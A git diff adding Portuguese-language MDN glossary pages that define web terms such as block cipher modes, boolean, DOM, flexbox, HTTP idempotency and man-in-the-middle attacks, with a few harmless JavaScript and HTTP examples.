diff --git a/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html b/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html new file mode 100644 index 0000000000..c9f87eb850 --- /dev/null +++ b/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html @@ -0,0 +1,13 @@ +--- +title: Modo de operação de cifra de bloco +slug: Glossário/Modo_de_operação_de_cifra_de_bloco +tags: + - Criptografía + - Glossário + - Modo de operação de cifra de bloco + - Segurança +translation_of: Glossary/Block_cipher_mode_of_operation +--- +

Um modo de operação de cifra de bloco, especifica como uma cifra de bloco deve ser usado para encriptar e decrepitar mensagens que são maiores que o bloco.

+ +

A maioria de algoritmos de chave simétrica atualmente em uso são cifras de bloco; isto significa que encriptam dados em bloco. O tamanho de cada bloco é fixo e determinado pelo algoritmo; por exemplo, a cifra AES usa blocos de 16-bytes. Cifras de bloco são sempre utilizadas com um modo de operação, que especifica como encriptar mensagens maiores que um bloco. CTR, CBC, e GCM são exemplos de modos de operação que podem ser usados, mas usar um modo de operação incorretamente pode desfazer a segurança criada pela própria cifra.

diff --git a/files/pt-pt/glossary/boolean/index.html b/files/pt-pt/glossary/boolean/index.html new file mode 100644 index 0000000000..dc4c3bfc21 --- /dev/null +++ b/files/pt-pt/glossary/boolean/index.html @@ -0,0 +1,51 @@ +--- +title: Booliano +slug: Glossário/booliano +tags: + - Booleano + - Booliano + - Glossário + - JavaScript + - Linguagens de Programação + - Progração Scripting + - tipos de dados +translation_of: Glossary/Boolean +--- +

Na informática, um booliano é um tipo de dados lógico que pode ter apenas os valores verdadeiro ou falso. Por exemplo, em JavaScript, as condicionais de boolianos são frequentemente utilizadas ​​para decidir quais as secções de código a serem executadas (tal como em declarações if) ou repetir (tal como repetições for).

+ +
/* JavaScript if statement */
+if (boolean conditional) {
+   // code to execute if the conditional is true
+}
+
+if (boolean conditional) {
+  console.log("boolean conditional resolved to true");
+} else {
+  console.log("boolean conditional resolved to false");
+}
+
+
+/* JavaScript for loop */
+for (control variable; boolean conditional; counter) {
+  // code to execute repeatedly if the conditional is true
+}
+
+for (var i=0; i < 4; i++) {
+  console.log("I print only when the boolean conditional is true");
+}
+
+ +

Saiba mais

+ +

Conhecimento geral

+ + + +

Referência técnica

+ + diff --git a/files/pt-pt/glossary/browser/index.html b/files/pt-pt/glossary/browser/index.html new file mode 100644 index 0000000000..6adcf06dd5 --- /dev/null +++ b/files/pt-pt/glossary/browser/index.html @@ -0,0 +1,110 @@ +--- +title: Navegador +slug: Glossário/Navegador +tags: + - Glossário + - Navegação +translation_of: Glossary/Browser +--- +

Um navegador da Web é um programa que obtém e exibe páginas a partir da {{Glossary("World Wide Web","Web")}}, e deixa os utilziadores acerem a mais páginas através de {{Glossary("hyperlink","hiperligações")}}.

+ +

Saiba mais

+ +

Conhecimento geral

+ + + +

Transferir um navageador

+ + + +
+ + + + + +
diff --git a/files/pt-pt/glossary/cache/index.html b/files/pt-pt/glossary/cache/index.html new file mode 100644 index 0000000000..d3372eebf0 --- /dev/null +++ b/files/pt-pt/glossary/cache/index.html @@ -0,0 +1,17 @@ +--- +title: Cache +slug: Glossário/Cache +tags: + - Glossário + - HTTP +translation_of: Glossary/Cache +--- +

Um cache (web cache or cache HTTP) é um componente que armazena respostas HTTP temporariamente para que para que possa ser utilizado para pedidos HTTP subesequentes, desde que cumpra determinadas condições.

+ +

Saiba Mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/cia/index.html b/files/pt-pt/glossary/cia/index.html new file mode 100644 index 0000000000..164bd5ab91 --- /dev/null +++ b/files/pt-pt/glossary/cia/index.html @@ -0,0 +1,17 @@ +--- +title: CIA +slug: Glossário/CIA +tags: + - Glossário + - Segurança +translation_of: Glossary/CIA +--- +

A CIA (Confidentiality, Integrity, Availability) (em português Confidencialidade, Integridade, Disponibilidade), também chamada a tríade CIA ou a tríade AIC, é um modelo que orienta as políticas de segurança da informação de uma organização.

+ +

Saiba mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/compile/index.html b/files/pt-pt/glossary/compile/index.html new file mode 100644 index 0000000000..4242775302 --- /dev/null +++ b/files/pt-pt/glossary/compile/index.html @@ -0,0 +1,102 @@ +--- +title: Compilar +slug: Glossário/Compilar +tags: + - CodingScripting + - Glossário +translation_of: Glossary/Compile +--- +

Compilar é o processo de transformar um programa de computador em uma determinada linguagem de programação para o mesmo programa escrito em outro idioma (normalmente um idioma binário que o computador pode executar).

+ +

Saiba mais

+ +

Conhecimento geral

+ + + +

Recursos de aprendizagem

+ + + +
+ + + + + +
diff --git a/files/pt-pt/glossary/crlf/index.html b/files/pt-pt/glossary/crlf/index.html new file mode 100644 index 0000000000..6ee96215ed --- /dev/null +++ b/files/pt-pt/glossary/crlf/index.html @@ -0,0 +1,29 @@ +--- +title: CRLF +slug: Glossário/CRLF +tags: + - CR + - CRLF + - Glossário + - Infraestrutura + - LF + - Nova Linha + - carriage return +translation_of: Glossary/CRLF +--- +

CR e LF são caracteres de controlo ou {{interwiki("wikipedia", "bytecode")}} que podem ser utilizados para marcar uma quebra de linha num ficheiro de texto.

+ + + +

O CR imediatamente seguido por um LF (CRLF, \r\n, ou 0x0D0A) move o cursor para baixo até à linha seguinte e depois para o início da linha.

+ +

Saiba mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/cross_axis/index.html b/files/pt-pt/glossary/cross_axis/index.html new file mode 100644 index 0000000000..79b1d8d2c3 --- /dev/null +++ b/files/pt-pt/glossary/cross_axis/index.html @@ -0,0 +1,72 @@ +--- +title: Eixo transversal +slug: Glossário/Eixo_transversal +tags: + - CSS + - Glossário + - flexbox +translation_of: Glossary/Cross_Axis +--- +

Numa {{glossary("flexbox")}}, ou eixo transveral é perpendicular ao {{glossary("main axis")}}, o que significa que se a direção for ao longo de uma linha (ou seja, {{cssxref("flex-direction")}} é row ou row-reverse) então o eixo transversal estende-se ao longo das colunas.

+ +

The cross axis runs down the column

+ +

Se por outro lado a direção for ao longo das colunas ({{cssxref("flex-direction")}} é column or column-reverse) então este eixo estende-se ao longo das linhas.

+ +

The cross axis runs along the row.

+ +

Alinhamento de elementos no eixo transversal faz-se com a propriedade align-items no contentor flexível ou com a propriedade align-self em elementos individuais. No caso de um contentor com várias linhas, que tenha espaço adicional no eixo transversal, pode-se utilizar align-content para controlar o espaçamento das linhas.

+ +

Aprender mais

+ +

Referência de propriedades

+ +
+ +
+ +

Aprofundar

+ + + + diff --git a/files/pt-pt/glossary/crud/index.html b/files/pt-pt/glossary/crud/index.html new file mode 100644 index 0000000000..175789d7ed --- /dev/null +++ b/files/pt-pt/glossary/crud/index.html @@ -0,0 +1,17 @@ +--- +title: CRUD +slug: Glossário/CRUD +tags: + - Glossário + - Infraestrutura +translation_of: Glossary/CRUD +--- +

CRUD (Create, Read, Update, Delete) (em português criação, consulta, atualização e destruição) é um acrónimo para as formas como se pode operar com dados armazenados. É uma mnemónica para as quatro funções básicas de armazenamento persistente.  CRUD refere-se normalmente a operações realizadas numa base de dados ou datastore, mas pode também aplicar-se a funções de nível superior de uma aplicação, tais como soft delete, onde os dados não são realmente apagados, mas marcados como apagados.

+ +

Saiba mais

+ +

Geral Conhecimento

+ + diff --git a/files/pt-pt/glossary/dhtml/index.html b/files/pt-pt/glossary/dhtml/index.html new file mode 100644 index 0000000000..29c7db34c9 --- /dev/null +++ b/files/pt-pt/glossary/dhtml/index.html @@ -0,0 +1,9 @@ +--- +title: DHTML +slug: DHTML +tags: + - DHTML + - Todas_as_Categorias +translation_of: Glossary/DHTML +--- +

DHTML é uma sigla que signfica "dynamic HTML". O termo DHTML é geralmente usado como referência ao código que se encontra por detrás de páginas interactivas que não são baseadas em plugins como Flash ou Java. O termo reúne a funcionalidade combinada que é disponibilizada aos programadores usando HTML, CSS, Document Object Model e JavaScript

diff --git a/files/pt-pt/glossary/dom/index.html b/files/pt-pt/glossary/dom/index.html new file mode 100644 index 0000000000..b2106f7a82 --- /dev/null +++ b/files/pt-pt/glossary/dom/index.html @@ -0,0 +1,29 @@ +--- +title: DOM (Modelo de Objeto de Documento) +slug: Glossário/DOM +tags: + - CodingScripting + - DOM + - Glossário +translation_of: Glossary/DOM +--- +

O DOM (Modelo de Objeto de Documento) é uma {{Glossary("API")}} que representa e interage com qualquer documento de {{Glossary("HTML")}} ou {{Glossary("XML")}}. O DOM é um modelo de documento carregado no {{glossary("navegador")}} e representando o documento como uma árvore de nodo, onde cada nodo representa parte do documento (por exemplo, um  {{Glossary("elemento")}}, string de texto, ou comentário) .

+ +

DOM é uma das {{Glossary("API")}}s mais utilizadas na {{Glossary("World Wide Web","Web")}} porque este permite que cada código em execução num navegador aceda e interaja com cada nodo no documento. Os nodos podem ser criados, movidos e alterados. Listeners de evento podem ser adicionados aos nodos e ativados com a ocorrência de um dado evento.

+ +

DOM não foi originalmente especificado -- este apareceu quando os navegadores começaram a implementar o {{Glossary("JavaScript")}}. Este DOM legado é às vezes chamado de DOM 0. Hoje, o WHATWG mantém o Padrão de Especificação DOM.

+ +

Saber mais

+ +

Conhecimentos Gerais

+ + + +

Informação técnica

+ + diff --git a/files/pt-pt/glossary/ecma/index.html b/files/pt-pt/glossary/ecma/index.html new file mode 100644 index 0000000000..067a20cc61 --- /dev/null +++ b/files/pt-pt/glossary/ecma/index.html @@ -0,0 +1,18 @@ +--- +title: ECMA +slug: Glossário/ECMA +tags: + - Glossário + - Mecanismos Web +translation_of: Glossary/ECMA +--- +

Ecma International (oficialmente Associação Européia dos Fabricantes de Computadores) é uma organização sem fins lucrativos que desenvolve os padrões para hardware de computadores, comunicações e linguagens de programação.

+ +

Na web ela é famosa por ser a organização que mantém a especificação ECMA-262 (também conhecida por {{Glossary("ECMAScript")}}), que é a especificação núcleo para a linguagem {{Glossary("JavaScript")}}.

+ +

Aprenda mais

+ + diff --git a/files/pt-pt/glossary/element/index.html b/files/pt-pt/glossary/element/index.html new file mode 100644 index 0000000000..4acc682ed0 --- /dev/null +++ b/files/pt-pt/glossary/element/index.html @@ -0,0 +1,20 @@ +--- +title: Elemento +slug: Glossário/Elemento +tags: + - CodingScripting + - Glossário + - HTML +translation_of: Glossary/Element +--- +

Um elemento faz parte de uma página da Web. Em XML e HTML, um elemento pode conter um item de dados ou parte de texto ou uma imagem, ou talvez nada. Um elemento típico inclui uma tag de abertura com alguns atributos, conteúdo de texto fechado e uma tag de fecho.Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

+ +

Elementos e tags não são a mesma coisa. Tags começam e terminam um elemento no código fonte, onde os elementos são parte de {{Glossary("DOM")}}, o documento modelo para exibir a página no {{glossary("browser","navegador")}}.

+ +

Consultar também

+ + diff --git a/files/pt-pt/glossary/engine/index.html b/files/pt-pt/glossary/engine/index.html new file mode 100644 index 0000000000..f926844c24 --- /dev/null +++ b/files/pt-pt/glossary/engine/index.html @@ -0,0 +1,18 @@ +--- +title: Motor +slug: Glossário/Motor +tags: + - Codificação + - Glossário + - Precisa de Conteúdo +translation_of: Glossary/Engine +--- +

O motor de {{glossary("JavaScript")}} é um interpretador que analisa e executa um programa JavaScript.

+ +

Saber mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/entity_header/index.html b/files/pt-pt/glossary/entity_header/index.html new file mode 100644 index 0000000000..e7181009c7 --- /dev/null +++ b/files/pt-pt/glossary/entity_header/index.html @@ -0,0 +1,26 @@ +--- +title: Cabeçalho de entidade +slug: Glossário/Cabeçalho_de_entidade +tags: + - Glossário + - WebMechanics +translation_of: Glossary/Entity_header +--- +

Um cabeçalho de entidade é um {{glossary("header", "cabeçalho de HTTP")}} que descreve o conteúdo do corpo da mensagem. Cabeçalhos de entidade são usados em pedidos e respostas de HTTP. Cabeçalhos como {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}} são cabeçalhos de entidade.

+ +

Mesmo que os cabeçalhos das entidades não sejam cabeçalhos de pedido ou de resposta, eles são frequentemente incluídos com estes termos.

+ +

No seguinte exemplo, {{HTTPHeader("Content-Length")}} é um cabeçalho de entidade, enquanto {{HTTPHeader("Host")}} e {{HTTPHeader("User-Agent")}} são {{glossary("request header", "cabeçalhos de pedido")}}:

+ +
POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+ +

Aprender mais

+ +

Conhecimento técnico

+ + diff --git a/files/pt-pt/glossary/favicon/index.html b/files/pt-pt/glossary/favicon/index.html new file mode 100644 index 0000000000..639edc9921 --- /dev/null +++ b/files/pt-pt/glossary/favicon/index.html @@ -0,0 +1,29 @@ +--- +title: Favicon +slug: Glossário/Favicon +tags: + - Glossário + - Intro + - favicon +translation_of: Glossary/Favicon +--- +

Um favicon (do inglês: favorite icon) é um pequeno ícone que acompanha o website, que é visualizado na barra do endereço, guia de páginas e no menu de favoritos. Note, no entanto, que a maior parte dos navegadores modernos substituíram o favicon na barra de endereço por uma imagem, indicando se o site utiliza {{Glossary("https","HTTPS")}}.

+ +

Geralmente, um favicon tem o tamanho de 16 x 16 píxeis, nos formatos {{Glossary("GIF")}}, {{Glossary("PNG")}} ou no formato ICO.

+ +

São utilizados para melhorar a experiência do utilizador e reforçar a consistência da marca. Quando um ícone familiar é visto, por exemplo, na barra de endereço, ajuda o utilizador a saber que se encontra no lugar certo.

+ +

Saiba mais

+ +

Conhecimento geral

+ + + +

Saiba mais sobre isso

+ + diff --git a/files/pt-pt/glossary/flexbox/index.html b/files/pt-pt/glossary/flexbox/index.html new file mode 100644 index 0000000000..6964e7a36e --- /dev/null +++ b/files/pt-pt/glossary/flexbox/index.html @@ -0,0 +1,78 @@ +--- +title: Flexbox +slug: Glossário/Flexbox +tags: + - CSS + - Glossário + - flexbox +translation_of: Glossary/Flexbox +--- +

Flexbox é o nome geralmente dado ao Módulo de Layout em Caixa Flexível do CSS (CSS Flexible Box Layout Module), um modelo de layout com o propósito de alinhar elementos numa determinada direção — ao longo de uma linha ou de uma coluna.

+ +

Na sua especificação, Flexbox é descrito como um modelo de layout para desenho da interface do utilizador. A principal funcionalidade do Flexbox é o facto de os elementos do layout poderem encolher ou crescer. Pode-se especificar quanto espaço cada elemento ocupa ou quanto espaço deve haver entre elementos.

+ +

Flexbox permite alinhamento de elementos no eixo principal ou no eixo transversal, e assim permite grande controlo sobre o tamanho e alinhamento de um grupo de elementos.

+ +

Aprender mais

+ +

Referência das propriedades

+ +
+ +
+ +

Aprofundar

+ + + + diff --git a/files/pt-pt/glossary/git/index.html b/files/pt-pt/glossary/git/index.html new file mode 100644 index 0000000000..f43064220f --- /dev/null +++ b/files/pt-pt/glossary/git/index.html @@ -0,0 +1,18 @@ +--- +title: Git +slug: Glossário/Git +tags: + - Colaboração + - Glossário +translation_of: Glossary/Git +--- +

Git é um sistema gratuito, de fonte aberta e distribuído de gestão do código fonte ({{Glossary("SCM", "GCS")}}). Facilita a gestão de bases de código com equipas de desenvolvimento distribuídas. O que o distingue dos sistemas SCM anteriores é a capacidade de fazer operações comuns (criar uma branch, fazer um commit, etc.) na sua máquina de desenvolvimento local, sem ter de alterar o repositório principal ou mesmo ter acesso de escrita a ele.

+ +

Saiba mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/gzip_compression/index.html b/files/pt-pt/glossary/gzip_compression/index.html new file mode 100644 index 0000000000..8be9011fc9 --- /dev/null +++ b/files/pt-pt/glossary/gzip_compression/index.html @@ -0,0 +1,17 @@ +--- +title: Compressão GZip +slug: Glossário/Compressao_GZip +tags: + - Glossário + - compressão + - gzip +translation_of: Glossary/GZip_compression +--- +

gzip é um algoritmo de compressão que permite reduzir o tamanho dos ficheiros, permitindo transferências mais rápidas na rede. É normalmente suportado pelos servidores da Web e navegadores modernos, o que significa que os servidores podem comprimir automaticamente os ficheiros com o gzip antes de enviá-los, e os navegadores podem descomprimir os ficheiros depois de os receberem.

+ +

Saiba mais

+ + diff --git a/files/pt-pt/glossary/html/index.html b/files/pt-pt/glossary/html/index.html new file mode 100644 index 0000000000..8cb677ae62 --- /dev/null +++ b/files/pt-pt/glossary/html/index.html @@ -0,0 +1,51 @@ +--- +title: HTML +slug: Glossário/HTML +tags: + - Glossário + - HTML + - Programação Scripting + - 'l10n:priority' +translation_of: Glossary/HTML +--- +
{{QuickLinksWithSubpages("/pt-PT/docs/Glossário")}}
+ +

HTML (Linguagem de Marcação de Hipertexto) é uma linguagem descritiva que especifica a estrutura da página da Web.

+ +

Breve história

+ +

Em 1990, como parte da sua visão da {{glossary("World Wide Web","Web")}}, Tim Berners-Lee definiu o conceito de {{glossary("hypertext")}}, que Berners-Lee formalizou o ano seguinte através de uma marcação com base principalmente em {{glossary("SGML")}}. O {{glossary("IETF")}} começou a especificar formalmente o HTML em 1993 e depois de vários rascunhos lançaram a versão 2.0 em 1995. Em 1994, Berners-Lee fundou {{glossary("W3C")}} para desenvolver a Web. Em 1996, W3C assumiu o trabalho em HTML e publicou a recomendação HTML 3.2 um ano depois. O HTML 4.0 foi lançado em 1999 e tornou-se um padrão {{glossary("ISO")}} em 2000 .

+ +

Naquela época, o W3C quase abandonou HTML em favor de {{glossary("XHTML")}}, levando à fundação de um grupo independente chamado de {{glossary("WHATWG")}} em 2004. Devido a WHATWG, o trabalho em {{glossary("HTML5")}} continuou: as duas organizações lançaram o primeiro rascunho em 2008 e o padrão final em 2014 .

+ +

Conceito e sintaxe

+ +

Um documento HTML é um documento de texto simples estruturado com {{glossary("element","elementos")}}. Os elementos estão rodeados por {{Glossary("tag","etiquetas")}} correspondentes de abertura e fecho. Cada etiqueta começa e termina com parêntesis angulares (<>). Existem algumas etiquetas vazias ou sem validade que não podem incluir qualquer texto, por exemplo {{htmlelement("img")}}.

+ +

Pode estender tags HTML com {{Glossary("attribute","atributos")}}, que fornecem informação adicional, afetando o modo como o navegador interpreta o elemento:

+ +

Detail of the structure of an HTML element

+ +

Um ficheiro HTML é normalmente guardado com uma extensão .htm ou .html, servida por um {{Glossary("Server","Servidor da Web")}}, e pode ser renderizado por qualquer {{Glossary("Browser","navegador da Web")}}.

+ +

Saber mais:

+ +

Conhecimento geral

+ + + +

Aprender HTML

+ + + +

Referência técnica

+ + diff --git a/files/pt-pt/glossary/hypertext/index.html b/files/pt-pt/glossary/hypertext/index.html new file mode 100644 index 0000000000..0816740252 --- /dev/null +++ b/files/pt-pt/glossary/hypertext/index.html @@ -0,0 +1,120 @@ +--- +title: Hipertexto +slug: Glossário/Hipertexto +tags: + - Glossário + - Mecânica da Web + - Web +translation_of: Glossary/Hypertext +--- +
Sequência de texto que permite a remissão para outra localização (documento, ficheiro, página da Internet, etc.). +

+"hipertexto", in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, https://www.priberam.pt/dlpo/hipertexto [consultado em 03-12-2017].
+
+ +

Hipertexto é o texto que contém as hiperligações para outros textos, em oposição a um único fluxo linear, tal como numa novela.

+ +
Sequência de texto que permite a remissão para outra localização (documento, ficheiro, página da Internet, etc.). + +

+"hipertexto", in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, https://www.priberam.pt/dlpo/hipertexto [consultado em 03-12-2017].
+
+ +

O termo foi criado por Ted Nelson, por volta de 1965.

+ +

Saiba mais

+ +

Conhechimento Geral

+ + + +

Referência técnica

+ + + +
+ + + + + +
diff --git a/files/pt-pt/glossary/iana/index.html b/files/pt-pt/glossary/iana/index.html new file mode 100644 index 0000000000..f6a4d9c517 --- /dev/null +++ b/files/pt-pt/glossary/iana/index.html @@ -0,0 +1,18 @@ +--- +title: IANA +slug: Glossário/IANA +tags: + - Glossário + - Infraestrutura +translation_of: Glossary/IANA +--- +

IANA (Internet Assigned Numbers Authority), em português "autoridade para atribuição de números de internet", é uma filial da {{glossary("ICANN")}} reposável pelo registo e / ou atribuição de {{glossary("domain name","nomes de dominio")}}, {{glossary("IP address","endreços IP")}}, e outros nomes e números utilizados pelos {{glossary("protocol","protocolos")}} da Internet.

+ +

Aprende Mais

+ +

Conhecimento geral

+ + diff --git a/files/pt-pt/glossary/idempotent/index.html b/files/pt-pt/glossary/idempotent/index.html new file mode 100644 index 0000000000..a84b97ecbd --- /dev/null +++ b/files/pt-pt/glossary/idempotent/index.html @@ -0,0 +1,46 @@ +--- +title: Idempotent +slug: Glossário/Idempotent +translation_of: Glossary/Idempotent +--- +

Um método HTTP é idempotente se, e só se, o mesmo pedido puder ser feito mais do que uma vez, tendo sempre o mesmo resultado e deixando o servidor no mesmo estado. Por outras palavras, um método idempotente não deve ter efeitos secundários. Implementados corretamente, os métodos {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, and {{HTTPMethod("DELETE")}} são idempotentes, mas não o método {{HTTPMethod("POST")}}. Todos os métodos {{glossary("safe")}} também são idempotentes.

+ +

Para ser idempotente, apenas o "back-end" do servidor é considerado, sendo que o estado retornado por cada pedido pode diferir: a primeira chamada de {{HTTPMethod("DELETE")}} deve retornar {{HTTPStatus("200")}}, enquanto as sucessivas devem retornar {{HTTPStatus("404")}}. Outra implicação de o {{HTTPMethod("DELETE")}} ser idempotente é que os programadores não devem implementar APIs RESTful com a funcionalidade de apagar última entrada usando o método de DELETE.

+ +

É de notar que a idempotência de um método não é garantida pelo servidor e algumas aplicações podem incorretamente violar a constrição de idempotência.

+ +

GET /pageX HTTP/1.1 é idempotente. Com várias chamadas ao servidor, o cliente obtém os mesmos resultados:

+ +
GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+
+ +

POST /add_row HTTP/1.1 não é idempotente; com várias chamadas ao servidor, adiciona novas linhas:

+ +
POST /add_row HTTP/1.1
+POST /add_row HTTP/1.1   -> Adiciona uma 2ª linha
+POST /add_row HTTP/1.1   -> Adiciona uma 3ª linha
+
+ +

DELETE /idX/delete HTTP/1.1 é idempotente, mesmo que o estado de retorno seja diferente entre cada chamada:

+ +
DELETE /idX/delete HTTP/1.1   -> Returns 200 se idX existir
+DELETE /idX/delete HTTP/1.1   -> Returns 404 visto que idX acabou de ser apagado
+DELETE /idX/delete HTTP/1.1   -> Returns 404
+ +

Saber mais

+ +

Conhecimento comum

+ + + +

Conhecimento técnico

+ + diff --git a/files/pt-pt/glossary/index.html b/files/pt-pt/glossary/index.html new file mode 100644 index 0000000000..55cefb9ab1 --- /dev/null +++ b/files/pt-pt/glossary/index.html @@ -0,0 +1,40 @@ +--- +title: Glossário +slug: Glossário +tags: + - Beginner + - Dicionário + - Glossário + - Index + - Landing + - Terminologia + - definições +translation_of: Glossary +--- +
{{LearnBox({"title":"Aprenda um termo novo:"})}}
+ +

As tecnologias da Web contêm listas longas de gíria e abreviações que são utilizadas na documentação e programação. Este glossário fornece definições de palavras e abreviações que precisa de saber para compreender e criar para a Web com sucesso.

+ +

Termos do Glossário

+ +

{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}

+ +

Contribua para o glossário

+ +

Este glossário é um trabalho sem fim e em progresso. Pode ajudar a melhorá-lo, inserindo novas entradas ou melhorando as já existentes. O modo mais fácil para começar é clicar no botão seguinte ou escolher um dos termos sugeridos abaixo.

+ +

Adicionar uma nova entrada ao glossário

+ +

{{GlossaryList({"terms":["at-rule", "ALPN", "Attack", "Byte-Order Mark", "client", "Character set", "cryptosystem", "debug", "digital signature", "execution", "flex-direction", "GLSL", "Interface", "Library", "Memory management", "routers", "Self-Executing Anonymous Function", "Stylesheet", "Vector image"], "filter":"notdefined", "css":"multiColumnList"})}}

+ +

Se pretender saber mais sobre como contribuir para o glossário, consulte a página do estado da documentação do glossário.

+ + diff --git a/files/pt-pt/glossary/indexeddb/index.html b/files/pt-pt/glossary/indexeddb/index.html new file mode 100644 index 0000000000..6857254a7b --- /dev/null +++ b/files/pt-pt/glossary/indexeddb/index.html @@ -0,0 +1,18 @@ +--- +title: IndexedDB +slug: Glossário/IndexedDB +tags: + - API + - Banco de Dados + - Glossário + - Sql +translation_of: Glossary/IndexedDB +--- +

IndexedDB é uma {{glossary("API")}} de web para armazenar volumosas estruturas de dados dentro dos navegadores e indexá-los para buscas de alto desempenho. Sendo um RDBMS baseado em {{glossary("SQL")}}, IndexedDB é um sistema de banco de dados transacionais. Porém ele usa objectos {{glossary("JavaScript")}} ao invés de tabelas em colunas fixas para armazenar os dados.

+ +

Aprenda mais

+ + diff --git a/files/pt-pt/glossary/isp/index.html b/files/pt-pt/glossary/isp/index.html new file mode 100644 index 0000000000..b8d180e53b --- /dev/null +++ b/files/pt-pt/glossary/isp/index.html @@ -0,0 +1,21 @@ +--- +title: ISP +slug: Glossário/ISP +tags: + - Fornecedor de acesso à internet + - Glossário + - ISP + - Web + - WebMechanics +translation_of: Glossary/ISP +--- +

Um ISP (Fornecedor de Acesso à Internet ou em inglês Internet Service Provider) vende acesso à Internet e, por vezes, e-mail, alojamento Web e voz sobre IP, quer através de uma ligação telefónica (antigamente mais comum), quer através de uma ligação de banda larga, tal como um modem por cabo ou serviço DSL.

+ +

Saiba mais

+ +

Conhecimento Geral

+ + diff --git a/files/pt-pt/glossary/lazy_load/index.html b/files/pt-pt/glossary/lazy_load/index.html new file mode 100644 index 0000000000..b94fa537c9 --- /dev/null +++ b/files/pt-pt/glossary/lazy_load/index.html @@ -0,0 +1,17 @@ +--- +title: Lazy load +slug: Glossário/Lazy_load +tags: + - Glossário + - Lazy loading + - Referencia + - Web Performance +translation_of: Glossary/Lazy_load +--- +

O Lazy loading (carregamento preguiçoso) é uma estratégia que atrasa o carregamento de alguns recursos (por exemplo, imagens) até serem necessários pelo utilizador com base na actividade do utilizador e no seu padrão de navegação; normalmente, estes recursos só são carregados quando são visualizados. Se implementado correctamente, este atraso no carregamento de activos é ininterrupto para a experiência do utilizador e pode ajudar a melhorar o desempenho da carga inicial, incluindo o time to interactive, uma vez que são necessários menos recursos para que a página comece a funcionar.

+ +

Consultar também

+ + diff --git a/files/pt-pt/glossary/localization/index.html b/files/pt-pt/glossary/localization/index.html new file mode 100644 index 0000000000..38c936a7b1 --- /dev/null +++ b/files/pt-pt/glossary/localization/index.html @@ -0,0 +1,47 @@ +--- +title: Localização +slug: Localização +tags: + - Colaboração + - Glossário + - Introdução + - Localização + - Mecânica da Web +translation_of: Glossary/Localization +--- +
Localização (l10n) é o processo de adaptar uma interface do utilizador do software para uma cultura específica. +

 

+ +

O seguinte são fatores comuns a considerar:

+ + + +

Saber mais

+ +

Conhecimento Geral

+ + + +

 

+ +

 

+
diff --git a/files/pt-pt/glossary/main_axis/index.html b/files/pt-pt/glossary/main_axis/index.html new file mode 100644 index 0000000000..02f69020e3 --- /dev/null +++ b/files/pt-pt/glossary/main_axis/index.html @@ -0,0 +1,50 @@ +--- +title: Eixo principal +slug: Glossário/Eixo_principal +tags: + - CSS + - Glossário + - flexbox +translation_of: Glossary/Main_Axis +--- +

O eixo principal num {{glossary("flexbox")}} tem a direção definida pela propriedade {{cssxref("flex-direction")}}. Esta propriedade pode ter os seguintes valores:

+ + + +

Quando o valor é row ou row-reverse ou eixo principal fica na horizontal, ao longo de cada linha.

+ +

In this image the flex-direction is row which forms the main axis

+ +

Quando o valor é column ou column-reverse o eixo principal fica na vertical, ao longo dos blocos.

+ +

+ +

No eixo principal pode-se controlar o tamanho dos elementos flexíveis aumentando o espaço disponível para os próprios elementos, através da propriedade flex de cada um. Em alternativa, pode-se controlar o espaço entre/à volta dos elementos com a propriedade justify-content.

+ +

Aprender mais

+ +

Referência das propriedades

+ +
+ +
+ +

Aprofundar

+ + diff --git a/files/pt-pt/glossary/metadata/index.html b/files/pt-pt/glossary/metadata/index.html new file mode 100644 index 0000000000..59cd3c3f6f --- /dev/null +++ b/files/pt-pt/glossary/metadata/index.html @@ -0,0 +1,25 @@ +--- +title: Metadados +slug: Glossário/Metadados +tags: + - Glossário + - HTML + - Programação Scripting + - metadados +translation_of: Glossary/Metadata +--- +

Metadados é — na sua definição mais simples - dados que descrevem dados. Por exemplo, um documento {{glossary("HTML")}} é dados, mas HTML também pode conter metadados no seu elemento {{htmlelement("head")}} que descreve o documento — por exemplo, quem o escreveu, e o seu resumo.

+ +

Saber mais

+ +

Conhecimento Geral

+ + + +

Metadados de HTML

+ + diff --git a/files/pt-pt/glossary/mitm/index.html b/files/pt-pt/glossary/mitm/index.html new file mode 100644 index 0000000000..d4f2414032 --- /dev/null +++ b/files/pt-pt/glossary/mitm/index.html @@ -0,0 +1,113 @@ +--- +title: MitM +slug: Glossário/MitM +tags: + - Glossário + - Segurança +translation_of: Glossary/MitM +--- +

Um Ataque Man-in-the-middle (MitM) interceta uma comunicação entre dois sistemas. Por exemplo, um roteador Wi-Fi pode estar comprometido.

+ +

Comparando isto com o correio físico: se estiverem a escrever cartas para cada um, o carteiro pode intercetar cada carta que manda. Eles abrem-na, lêem-na, eventualmente modificam-na, e depois colocam-na numa carta e só então é que a enviam para o seu destinatário . O recipiente original então responderia à carta, e o carteiro abriria-a novamente, lia-a, eventualmente modificava-a, colocava-a num envelope, e a entregaria a si. Não saberia que exisite um "homem no meio" no seu canal de comunicação – o carteiro é invisível para si e para o seu recipiente.

+ +

No correio físico e na comunicação on-line, os ataques MITM são difíceis de defender. Algumas dicas:

+ + + +
+

Saber mais

+ + +
+ +
+ + + + + +
